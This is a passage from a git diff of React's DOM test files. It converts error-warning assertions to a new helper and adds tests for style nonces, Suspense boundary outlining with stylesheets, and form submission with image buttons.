+        renderToPipeableStream(<App />).pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +
+          'an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `href` argument encountered was `undefined`.\n' +
+          '    in App (at **)',
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +
+          'an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `href` argument encountered was something with type "function".\n' +
+          '    in App (at **)',
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +
+          'an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `href` argument encountered was an empty string.\n' +
+          '    in App (at **)',
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +
+          'an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `options` argument encountered was something with type "boolean".\n' +
+          '    in App (at **)',
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally,' +
+          ' an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `as` option encountered was something with type "boolean".\n' +
+          '    in App (at **)',
       ]);
       expect(getMeaningfulChildren(document.body)).toEqual(
         <div id="container">
@@ -6071,14 +6474,28 @@ body {
         document.getElementById('container'),
       );
       root.render(<App />);
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev([
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `href` argument encountered was `undefined`',
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `href` argument encountered was something with type "function"',
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `href` argument encountered was an empty string',
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `options` argument encountered was something with type "boolean"',
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `as` option encountered was something with type "boolean"',
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +
+          'an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `href` argument encountered was `undefined`.\n' +
+          '    in App (at **)',
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +
+          'an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `href` argument encountered was something with type "function".\n' +
+          '    in App (at **)',
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an ' +
+          '`options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `href` argument encountered was an empty string.\n' +
+          '    in App (at **)',
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an ' +
+          '`options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `options` argument encountered was something with type "boolean".\n' +
+          '    in App (at **)',
+        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an ' +
+          '`options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. ' +
+          'The `as` option encountered was something with type "boolean".\n' +
+          '    in App (at **)',
       ]);
     });
   });
@@ -6347,16 +6764,27 @@ body {
         return <div>foo</div>;
       }
 
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(<App />).pipe(writable);
-        });
-      }).toErrorDev([
-        'ReactDOM.preinit(): Expected the `href` argument (first) to be a non-empty string but encountered `undefined` instead',
-        'ReactDOM.preinit(): Expected the `href` argument (first) to be a non-empty string but encountered an empty string instead',
-        'ReactDOM.preinit(): Expected the `options` argument (second) to be an object with an `as` property describing the type of resource to be preinitialized but encountered `null` instead',
-        'ReactDOM.preinit(): Expected the `as` property in the `options` argument (second) to contain a valid value describing the type of resource to be preinitialized but encountered `undefined` instead. Valid values for `as` are "style" and "script".',
-        'ReactDOM.preinit(): Expected the `as` property in the `options` argument (second) to contain a valid value describing the type of resource to be preinitialized but encountered "foo" instead. Valid values for `as` are "style" and "script".',
+      await act(() => {
+        renderToPipeableStream(<App />).pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'ReactDOM.preinit(): Expected the `href` argument (first) to be a non-empty string ' +
+          'but encountered `undefined` instead.\n' +
+          '    in App (at **)',
+        'ReactDOM.preinit(): Expected the `href` argument (first) to be a non-empty string ' +
+          'but encountered an empty string instead.\n' +
+          '    in App (at **)',
+        'ReactDOM.preinit(): Expected the `options` argument (second) to be an object with an `as` ' +
+          'property describing the type of resource to be preinitialized but encountered `null` instead.\n' +
+          '    in App (at **)',
+        'ReactDOM.preinit(): Expected the `as` property in the `options` argument (second) to contain ' +
+          'a valid value describing the type of resource to be preinitialized but encountered `undefined` instead. ' +
+          'Valid values for `as` are "style" and "script".\n' +
+          '    in App (at **)',
+        'ReactDOM.preinit(): Expected the `as` property in the `options` argument (second) to contain ' +
+          'a valid value describing the type of resource to be preinitialized but encountered "foo" instead. ' +
+          'Valid values for `as` are "style" and "script".\n' +
+          '    in App (at **)',
       ]);
     });
 
@@ -6628,12 +7056,14 @@ body {
         ReactDOM.preinitModule(prefix + 'warning', {as: 'style'});
         return <div>hello</div>;
       }
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(<App ssr={true} />).pipe(writable);
-        });
-      }).toErrorDev([
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `as` option encountered was "style"',
+      await act(() => {
+        renderToPipeableStream(<App ssr={true} />).pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `as` option encountered was "style".\n' +
+          '    in App (at **)',
       ]);
       expect(getMeaningfulChildren(document.body)).toEqual(
         <div id="container">
@@ -6656,10 +7086,12 @@ body {
       );
 
       ReactDOMClient.hydrateRoot(container, <App />);
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev([
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `as` option encountered was "style"',
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `as` option encountered was "style".\n' +
+          '    in App (at **)',
       ]);
       expect(getMeaningfulChildren(document)).toEqual(
         <html>
@@ -6711,16 +7143,30 @@ body {
         ReactDOM.preinitModule('2', {as: true});
         return <div>hello</div>;
       }
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(<App />).pipe(writable);
-        });
-      }).toErrorDev([
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `href` argument encountered was `undefined`',
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `href` argument encountered was something with type "function"',
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `href` argument encountered was an empty string',
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `options` argument encountered was something with type "boolean"',
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `as` option encountered was something with type "boolean"',
+      await act(() => {
+        renderToPipeableStream(<App />).pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `href` argument encountered was `undefined`.\n' +
+          '    in App (at **)',
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `href` argument encountered was something with type "function".\n' +
+          '    in App (at **)',
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `href` argument encountered was an empty string.\n' +
+          '    in App (at **)',
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `options` argument encountered was something with type "boolean".\n' +
+          '    in App (at **)',
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `as` option encountered was something with type "boolean".\n' +
+          '    in App (at **)',
       ]);
       expect(getMeaningfulChildren(document.body)).toEqual(
         <div id="container">
@@ -6732,14 +7178,28 @@ body {
         document.getElementById('container'),
       );
       root.render(<App />);
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev([
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `href` argument encountered was `undefined`',
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `href` argument encountered was something with type "function"',
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `href` argument encountered was an empty string',
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `options` argument encountered was something with type "boolean"',
-        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` string and, optionally, an `options` object with a valid `as` property. The `as` option encountered was something with type "boolean"',
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `href` argument encountered was `undefined`.\n' +
+          '    in App (at **)',
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `href` argument encountered was something with type "function".\n' +
+          '    in App (at **)',
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `href` argument encountered was an empty string.\n' +
+          '    in App (at **)',
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `options` argument encountered was something with type "boolean".\n' +
+          '    in App (at **)',
+        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +
+          'string and, optionally, an `options` object with a valid `as` property. ' +
+          'The `as` option encountered was something with type "boolean".\n' +
+          '    in App (at **)',
       ]);
     });
   });
@@ -6955,7 +7415,6 @@ body {
       );
     });
 
-    // @gate favorSafetyOverHydrationPerf
     it('retains styles even when a new html, head, and/body mount', async () => {
       await act(() => {
         const {pipe} = renderToPipeableStream(
@@ -7461,53 +7920,85 @@ body {
     });
 
     it('warns if you provide a `precedence` prop with other props that invalidate the creation of a stylesheet resource', async () => {
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(
-            <html>
-              <body>
-                <link rel="stylesheet" precedence="default" />
-                <link rel="stylesheet" href="" precedence="default" />
-                <link
-                  rel="stylesheet"
-                  href="foo"
-                  precedence="default"
-                  onLoad={() => {}}
-                  onError={() => {}}
-                />
-                <link
-                  rel="stylesheet"
-                  href="foo"
-                  precedence="default"
-                  onLoad={() => {}}
-                />
-                <link
-                  rel="stylesheet"
-                  href="foo"
-                  precedence="default"
-                  onError={() => {}}
-                />
-                <link
-                  rel="stylesheet"
-                  href="foo"
-                  precedence="default"
-                  disabled={false}
-                />
-              </body>
-            </html>,
-          ).pipe(writable);
-        });
-      }).toErrorDev(
+      await act(() => {
+        renderToPipeableStream(
+          <html>
+            <body>
+              <link rel="stylesheet" precedence="default" />
+              <link rel="stylesheet" href="" precedence="default" />
+              <link
+                rel="stylesheet"
+                href="foo"
+                precedence="default"
+                onLoad={() => {}}
+                onError={() => {}}
+              />
+              <link
+                rel="stylesheet"
+                href="foo"
+                precedence="default"
+                onLoad={() => {}}
+              />
+              <link
+                rel="stylesheet"
+                href="foo"
+                precedence="default"
+                onError={() => {}}
+              />
+              <link
+                rel="stylesheet"
+                href="foo"
+                precedence="default"
+                disabled={false}
+              />
+            </body>
+          </html>,
+        ).pipe(writable);
+      });
+      assertConsoleErrorDev(
         [
-          gate(flags => flags.enableFilterEmptyStringAttributesDOM)
-            ? 'An empty string ("") was passed to the href attribute. To fix this, either do not render the element at all or pass null to href instead of an empty string.'
-            : undefined,
-          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and expected the `href` prop to be a non-empty string but ecountered `undefined` instead. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop ensure there is a non-empty string `href` prop as well, otherwise remove the `precedence` prop.',
-          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and expected the `href` prop to be a non-empty string but ecountered an empty string instead. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop ensure there is a non-empty string `href` prop as well, otherwise remove the `precedence` prop.',
-          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and `onLoad` and `onError` props. The presence of loading and error handlers indicates an intent to manage the stylesheet loading state from your from your Component code and React will not hoist or deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop remove the `onLoad` and `onError` props, otherwise remove the `precedence` prop.',
-          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and `onLoad` prop. The presence of loading and error handlers indicates an intent to manage the stylesheet loading state from your from your Component code and React will not hoist or deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop remove the `onLoad` prop, otherwise remove the `precedence` prop.',
-          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and `onError` prop. The presence of loading and error handlers indicates an intent to manage the stylesheet loading state from your from your Component code and React will not hoist or deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop remove the `onError` prop, otherwise remove the `precedence` prop.',
-          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and a `disabled` prop. The presence of the `disabled` prop indicates an intent to manage the stylesheet active state from your from your Component code and React will not hoist or deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop remove the `disabled` prop, otherwise remove the `precedence` prop.',
+          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and ' +
+            'expected the `href` prop to be a non-empty string but ecountered `undefined` instead. ' +
+            'If your intent was to have React hoist and deduplciate this stylesheet using the ' +
+            '`precedence` prop ensure there is a non-empty string `href` prop as well, ' +
+            'otherwise remove the `precedence` prop.\n' +
+            '    in link (at **)',
+          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and ' +
+            'expected the `href` prop to be a non-empty string but ecountered an empty string instead. ' +
+            'If your intent was to have React hoist and deduplciate this stylesheet using the ' +
+            '`precedence` prop ensure there is a non-empty string `href` prop as well, ' +
+            'otherwise remove the `precedence` prop.\n' +
+            '    in link (at **)',
+          'An empty string ("") was passed to the href attribute. ' +
+            'To fix this, either do not render the element at all or ' +
+            'pass null to href instead of an empty string.\n' +
+            '    in link (at **)',
+          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and ' +
+            '`onLoad` and `onError` props. The presence of loading and error handlers indicates ' +
+            'an intent to manage the stylesheet loading state from your from your Component code ' +
+            'and React will not hoist or deduplicate this stylesheet. ' +
+            'If your intent was to have React hoist and deduplciate this stylesheet using the ' +
+            '`precedence` prop remove the `onLoad` and `onError` props, otherwise remove the `precedence` prop.\n' +
+            '    in link (at **)',
+          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and ' +
+            '`onLoad` prop. The presence of loading and error handlers indicates an intent to ' +
+            'manage the stylesheet loading state from your from your Component code and ' +
+            'React will not hoist or deduplicate this stylesheet. ' +
+            'If your intent was to have React hoist and deduplciate this stylesheet using the ' +
+            '`precedence` prop remove the `onLoad` prop, otherwise remove the `precedence` prop.\n' +
+            '    in link (at **)',
+          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and `onError` prop. ' +
+            'The presence of loading and error handlers indicates an intent to manage the stylesheet loading state ' +
+            'from your from your Component code and React will not hoist or deduplicate this stylesheet. ' +
+            'If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` ' +
+            'prop remove the `onError` prop, otherwise remove the `precedence` prop.\n' +
+            '    in link (at **)',
+          'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and a `disabled` prop. ' +
+            'The presence of the `disabled` prop indicates an intent to manage the stylesheet active state from ' +
+            'your from your Component code and React will not hoist or deduplicate this stylesheet. ' +
+            'If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` ' +
+            'prop remove the `disabled` prop, otherwise remove the `precedence` prop.\n' +
+            '    in link (at **)',
         ].filter(Boolean),
       );
 
@@ -7525,10 +8016,15 @@ body {
           </body>
         </html>,
       );
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev([
-        'React encountered a <link rel="stylesheet" href="foo" ... /> with a `precedence` prop that also included the `onLoad` and `onError` props. The presence of loading and error handlers indicates an intent to manage the stylesheet loading state from your from your Component code and React will not hoist or deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop remove the `onLoad` and `onError` props, otherwise remove the `precedence` prop.',
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'React encountered a <link rel="stylesheet" href="foo" ... /> with a `precedence` ' +
+          'prop that also included the `onLoad` and `onError` props. ' +
+          'The presence of loading and error handlers indicates an intent to manage the stylesheet ' +
+          'loading state from your from your Component code and React will not hoist or deduplicate this stylesheet. ' +
+          'If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` ' +
+          'prop remove the `onLoad` and `onError` props, otherwise remove the `precedence` prop.\n' +
+          '    in body (at **)',
       ]);
     });
 
@@ -8104,20 +8600,103 @@ background-color: green;
     });
 
     it('warns if you render a <style> with an href with a space on the server', async () => {
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(
-            <html>
-              <body>
-                <style href="foo bar" precedence="default">
-                  style
-                </style>
-              </body>
-            </html>,
-          ).pipe(writable);
-        });
-      }).toErrorDev(
-        'React expected the `href` prop for a <style> tag opting into hoisting semantics using the `precedence` prop to not have any spaces but ecountered spaces instead. using spaces in this prop will cause hydration of this style to fail on the client. The href for the <style> where this ocurred is "foo bar".',
+      await act(() => {
+        renderToPipeableStream(
+          <html>
+            <body>
+              <style href="foo bar" precedence="default">
+                style
+              </style>
+            </body>
+          </html>,
+        ).pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'React expected the `href` prop for a <style> tag opting into hoisting semantics ' +
+          'using the `precedence` prop to not have any spaces but ecountered spaces instead. ' +
+          'using spaces in this prop will cause hydration of this style to fail on the client. ' +
+          'The href for the <style> where this ocurred is "foo bar".\n' +
+          '    in style (at **)',
+      ]);
+    });
+
+    it('can emit styles with nonce', async () => {
+      const nonce = 'R4nD0m';
+      const fooCss = '.foo { color: hotpink; }';
+      const barCss = '.bar { background-color: blue; }';
+      const bazCss = '.baz { border: 1px solid black; }';
+      await act(() => {
+        renderToPipeableStream(
+          <html>
+            <body>
+              <Suspense>
+                <BlockedOn value="first">
+                  <div>first</div>
+                  <style href="foo" precedence="default" nonce={nonce}>
+                    {fooCss}
+                  </style>
+                  <style href="bar" precedence="default" nonce={nonce}>
+                    {barCss}
+                  </style>
+                  <BlockedOn value="second">
+                    <div>second</div>
+                    <style href="baz" precedence="default" nonce={nonce}>
+                      {bazCss}
+                    </style>
+                  </BlockedOn>
+                </BlockedOn>
+              </Suspense>
+            </body>
+          </html>,
+          {nonce: {style: nonce}},
+        ).pipe(writable);
+      });
+
+      expect(getMeaningfulChildren(document)).toEqual(
+        <html>
+          <head />
+          <body />
+        </html>,
+      );
+
+      await act(() => {
+        resolveText('first');
+      });
+
+      expect(getMeaningfulChildren(document)).toEqual(
+        <html>
+          <head />
+          <body>
+            <style
+              data-href="foo bar"
+              data-precedence="default"
+              media="not all"
+              nonce={nonce}>
+              {`${fooCss}${barCss}`}
+            </style>
+          </body>
+        </html>,
+      );
+
+      await act(() => {
+        resolveText('second');
+      });
+
+      expect(getMeaningfulChildren(document)).toEqual(
+        <html>
+          <head>
+            <style data-href="foo bar" data-precedence="default" nonce={nonce}>
+              {`${fooCss}${barCss}`}
+            </style>
+            <style data-href="baz" data-precedence="default" nonce={nonce}>
+              {bazCss}
+            </style>
+          </head>
+          <body>
+            <div>first</div>
+            <div>second</div>
+          </body>
+        </html>,
       );
     });
   });
@@ -8802,7 +9381,6 @@ background-color: green;
       ]);
     });
 
-    // @gate favorSafetyOverHydrationPerf
     it('can render a title before a singleton even if that singleton clears its contents', async () => {
       await act(() => {
         const {pipe} = renderToPipeableStream(
@@ -8871,4 +9449,192 @@ background-color: green;
       );
     });
   });
+
+  it('does not outline a boundary with suspensey CSS when flushing the shell', async () => {
+    // When flushing the shell, stylesheets with precedence are emitted in the
+    // <head> which blocks paint anyway. So there's no benefit to outlining the
+    // boundary — it would just show a higher-level fallback unnecessarily.
+    // Instead, the boundary should be inlined so the innermost fallback is shown.
+    let streamedContent = '';
+    writable.on('data', chunk => (streamedContent += chunk));
+
+    await act(() => {
+      renderToPipeableStream(
+        <html>
+          <body>
+            <Suspense fallback="Outer Fallback">
+              <Suspense fallback="Middle Fallback">
+                <link rel="stylesheet" href="style.css" precedence="default" />
+                <Suspense fallback="Inner Fallback">
+                  <BlockedOn value="content">Async Content</BlockedOn>
+                </Suspense>
+              </Suspense>
+            </Suspense>
+          </body>
+        </html>,
+      ).pipe(writable);
+    });
+
+    // The middle boundary should have been inlined (not outlined) so the
+    // middle fallback text should never appear in the streamed HTML.
+    expect(streamedContent).not.toContain('Middle Fallback');
+
+    // The stylesheet is in the head (blocks paint), and the innermost
+    // fallback is visible.
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="style.css" data-precedence="default" />
+        </head>
+        <body>Inner Fallback</body>
+      </html>,
+    );
+
+    // Resolve the async content — streams in without needing to load CSS
+    // since the stylesheet was already in the head.
+    await act(() => {
+      resolveText('content');
+    });
+
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="style.css" data-precedence="default" />
+        </head>
+        <body>Async Content</body>
+      </html>,
+    );
+  });
+
+  it('outlines a boundary with suspensey CSS when flushing a streamed completion', async () => {
+    // When a boundary completes via streaming (not as part of the shell),
+    // suspensey CSS should cause the boundary to be outlined. The parent
+    // content can show sooner while the CSS loads separately.
+    let streamedContent = '';
+    writable.on('data', chunk => (streamedContent += chunk));
+
+    await act(() => {
+      renderToPipeableStream(
+        <html>
+          <body>
+            <Suspense fallback="Root Fallback">
+              <BlockedOn value="shell">
+                <Suspense fallback="Outer Fallback">
+                  <Suspense fallback="Middle Fallback">
+                    <link
+                      rel="stylesheet"
+                      href="style.css"
+                      precedence="default"
+                    />
+                    <Suspense fallback="Inner Fallback">
+                      <BlockedOn value="content">Async Content</BlockedOn>
+                    </Suspense>
+                  </Suspense>
+                </Suspense>
+              </BlockedOn>
+            </Suspense>
+          </body>
+        </html>,
+      ).pipe(writable);
+    });
+
+    // Shell is showing root fallback
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>Root Fallback</body>
+      </html>,
+    );
+
+    // Unblock the shell — content streams in. The middle boundary should
+    // be outlined because the CSS arrived via streaming, not in the shell head.
+    streamedContent = '';
+    await act(() => {
+      resolveText('shell');
+    });
+
+    // The middle fallback should appear in the streamed HTML because the
+    // boundary was outlined.
+    expect(streamedContent).toContain('Middle Fallback');
+
+    // The CSS needs to load before the boundary reveals. Until then
+    // the middle fallback is visible.
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="style.css" data-precedence="default" />
+        </head>
+        <body>
+          {'Middle Fallback'}
+          <link rel="preload" href="style.css" as="style" />
+        </body>
+      </html>,
+    );
+
+    // Load the stylesheet — now the middle boundary can reveal
+    await act(() => {
+      loadStylesheets();
+    });
+    assertLog(['load stylesheet: style.css']);
+
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="style.css" data-precedence="default" />
+        </head>
+        <body>
+          {'Inner Fallback'}
+          <link rel="preload" href="style.css" as="style" />
+        </body>
+      </html>,
+    );
+
+    // Resolve the async content
+    await act(() => {
+      resolveText('content');
+    });
+
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="style.css" data-precedence="default" />
+        </head>
+        <body>
+          {'Async Content'}
+          <link rel="preload" href="style.css" as="style" />
+        </body>
+      </html>,
+    );
+  });
+
+  // @gate enableViewTransition
+  it('still outlines a boundary with a suspensey image inside a ViewTransition when flushing the shell', async () => {
+    // Unlike stylesheets (which block paint from the <head> anyway), images
+    // inside ViewTransitions are outlined to enable animation reveals. This
+    // should happen even during the shell flush.
+    const ViewTransition = React.ViewTransition;
+
+    let streamedContent = '';
+    writable.on('data', chunk => (streamedContent += chunk));
+
+    await act(() => {
+      renderToPipeableStream(
+        <html>
+          <body>
+            <ViewTransition>
+              <Suspense fallback="Image Fallback">
+                <link rel="stylesheet" href="style.css" precedence="default" />
+                <img src="large-image.jpg" />
+                <div>Content</div>
+              </Suspense>
+            </ViewTransition>
+          </body>
+        </html>,
+      ).pipe(writable);
+    });
+
+    // The boundary should be outlined because the suspensey image motivates
+    // outlining for animation reveals, even during the shell flush.
+    expect(streamedContent).toContain('Image Fallback');
+  });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMForm-test.js b/packages/react-dom/src/__tests__/ReactDOMForm-test.js
index 4c3ebecccb1e..be4a232e1ab1 100644
--- a/packages/react-dom/src/__tests__/ReactDOMForm-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMForm-test.js
@@ -14,8 +14,8 @@ global.IS_REACT_ACT_ENVIRONMENT = true;
 // Our current version of JSDOM doesn't implement the event dispatching
 // so we polyfill it.
 const NativeFormData = global.FormData;
-const FormDataPolyfill = function FormData(form) {
-  const formData = new NativeFormData(form);
+const FormDataPolyfill = function FormData(form, submitter) {
+  const formData = new NativeFormData(form, submitter);
   const formDataEvent = new Event('formdata', {
     bubbles: true,
     cancelable: false,
@@ -361,7 +361,7 @@ describe('ReactDOMForm', () => {
     expect(actionCalled).toBe(false);
   });
 
-  it('should only submit the inner of nested forms', async () => {
+  it('should submit the inner of nested forms', async () => {
     const ref = React.createRef();
     let data;
 
@@ -373,22 +373,24 @@ describe('ReactDOMForm', () => {
     }
 
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(async () => {
-        // This isn't valid HTML but just in case.
-        root.render(
-          <form action={outerAction}>
-            <input type="text" name="data" defaultValue="outer" />
-            <form action={innerAction} ref={ref}>
-              <input type="text" name="data" defaultValue="inner" />
-            </form>
-          </form>,
-        );
-      });
-    }).toErrorDev([
+    await act(async () => {
+      // This isn't valid HTML but just in case.
+      root.render(
+        <form action={outerAction}>
+          <input type="text" name="data" defaultValue="outer" />
+          <form action={innerAction} ref={ref}>
+            <input type="text" name="data" defaultValue="inner" />
+          </form>
+        </form>,
+      );
+    });
+    assertConsoleErrorDev([
       'In HTML, <form> cannot be a descendant of <form>.\n' +
-        'This will cause a hydration error.' +
-        '\n    in form (at **)' +
+        'This will cause a hydration error.\n' +
+        '\n' +
+        '> <form action={function outerAction}>\n' +
+        '    <input>\n' +
+        '>   <form action={function innerAction} ref={{current:null}}>\n' +
         '\n    in form (at **)',
     ]);
 
@@ -397,7 +399,7 @@ describe('ReactDOMForm', () => {
     expect(data).toBe('innerinner');
   });
 
-  it('should only submit once if one root is nested inside the other', async () => {
+  it('should submit once if one root is nested inside the other', async () => {
     const ref = React.createRef();
     let outerCalled = 0;
     let innerCalled = 0;
@@ -440,7 +442,7 @@ describe('ReactDOMForm', () => {
     expect(innerCalled).toBe(1);
   });
 
-  it('should only submit once if a portal is nested inside its own root', async () => {
+  it('should submit once if a portal is nested inside its own root', async () => {
     const ref = React.createRef();
     let outerCalled = 0;
     let innerCalled = 0;
@@ -487,11 +489,16 @@ describe('ReactDOMForm', () => {
     const inputRef = React.createRef();
     const buttonRef = React.createRef();
     const outsideButtonRef = React.createRef();
+    const imageButtonRef = React.createRef();
     let button;
+    let buttonX;
+    let buttonY;
     let title;
 
     function action(formData) {
       button = formData.get('button');
+      buttonX = formData.get('button.x');
+      buttonY = formData.get('button.y');
       title = formData.get('title');
     }
 
@@ -506,6 +513,12 @@ describe('ReactDOMForm', () => {
             <button name="button" value="edit" ref={buttonRef}>
               Edit
             </button>
+            <input
+              type="image"
+              name="button"
+              href="/some/image.png"
+              ref={imageButtonRef}
+            />
           </form>
           <form id="form" action={action}>
             <input type="text" name="title" defaultValue="hello" />
@@ -544,9 +557,12 @@ describe('ReactDOMForm', () => {
     expect(button).toBe('outside');
     expect(title).toBe('hello');
 
-    // Ensure that the type field got correctly restored
-    expect(inputRef.current.getAttribute('type')).toBe('submit');
-    expect(buttonRef.current.getAttribute('type')).toBe(null);
